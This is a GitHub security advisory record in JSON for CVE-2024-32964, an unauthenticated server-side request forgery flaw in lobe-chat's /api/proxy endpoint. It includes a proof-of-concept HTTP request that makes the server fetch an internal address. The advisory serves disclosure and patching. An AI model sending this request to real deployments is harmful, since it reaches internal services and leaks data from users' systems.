{"id":"GHSA-mxhq-xw3g-rphc","summary":"lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability","details":"### Summary\nThe latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.\n\n### Details\n* visit https://chat-preview.lobehub.com/settings/agent  \n* you can attack all internal services by /api/proxy and get the echo in http response :) \n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/c2894c34-7333-4ae1-864c-3b212b95eb21)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/dd9ad696-7180-4700-8bff-1171a6a8ac91)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/e2b97520-a6d5-4939-8313-46db8a1c4b75)\n\n\n\n### PoC\n```http\nPOST /api/proxy HTTP/2\nHost: xxxxxxxxxxxxxxxxx\nCookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0\nContent-Length: 23\nSec-Ch-Ua: \"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"\nSec-Ch-Ua-Platform: \"Windows\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nContent-Type: text/plain;charset=UTF-8\nAccept: */*\nOrigin: https://chat-preview.lobehub.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://chat-preview.lobehub.com/settings/agent\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7\n\nhttp://172.23.0.1:8000/\n```\n\n### Impact\nSSRF ,All users will be impacted.","aliases":["CVE-2024-32964"],"modified":"2026-02-04T03:08:00.866406Z","published":"2024-05-10T15:29:51Z","related":["CVE-2024-47066"],"database_specific":{"github_reviewed_at":"2024-05-10T15:29:51Z","github_reviewed":true,"nvd_published_at":"2024-05-14T15:37:18Z","severity":"CRITICAL","cwe_ids":["CWE-918"]},"references":[{"type":"WEB","url":"https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32964"},{"type":"WEB","url":"https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37"},{"type":"PACKAGE","url":"https://github.com/lobehub/lobe-chat"}],"affected":[{"package":{"name":"@lobehub/chat","ecosystem":"npm","purl":"pkg:npm/%40lobehub/chat"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.150.6"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.150.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/05/GHSA-mxhq-xw3g-rphc/GHSA-mxhq-xw3g-rphc.json"}}],"schema_version":"1.7.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H"}]}